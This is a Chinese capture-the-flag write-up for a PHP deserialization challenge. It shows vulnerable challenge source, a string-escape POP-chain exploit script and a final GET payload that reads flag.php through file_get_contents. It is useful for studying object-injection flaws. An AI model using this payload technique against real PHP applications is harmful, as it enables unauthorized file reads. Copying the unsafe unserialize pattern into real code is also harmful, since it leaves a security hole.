DASCTF EZUnserialize

    科技2023-10-16  97

    思路

    <?php show_source("index.php"); function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }//3->6 function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); }//6->3 class A{ public $username; public $password; function __construct($a, $b){ $this->username = $a; $this->password = $b; } } class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; } } class C{ public $c; function __toString(){ //flag.php echo file_get_contents($this->c); return 'nice'; } } $a = new A($_GET['a'],$_GET['b']); echo (serialize($a)); // 省略了存储序列化数据的过程,下面是取出来并反序列化的操作 $b = unserialize(read(write(serialize($a))));

    要做这个题先要构造pop链,通过A->C->B去执行C类里面的file_get_contents函数

    A类里面可以传参数,但是传递的是字符串就不能利用A来传递一个类,这里就需要利用write()和read()函数啦,造成字符串逃逸。

    如果我们GET一个a=\0\0\0是6个字符,通过read()函数会替换成3个字符,但是序列化属性的长度还是6就相当于造成了3个字符的逃逸

    如图:后面就逃逸了";s

    我们就可以先构造B->C然后通过字符逃逸去将B类添加到A类的password属性里面

    #exp.php #B->C <?php error_reporting(0); class B{ public $b; } class C{ public $c; } $b= new B(); $c= new C(); $c->c='flag.php'; $b->b=$c; $x=serialize($b); echo strlen($x)."\n";#55 echo $x; #O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

    然后来构造最后的payload

    <?php $a='";s:8:"password";s:73:"1';#24/3=8 $b=strlen($a)/3; echo str_repeat('\0\0\0',$b);

    ?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
    Processed: 0.015, SQL: 8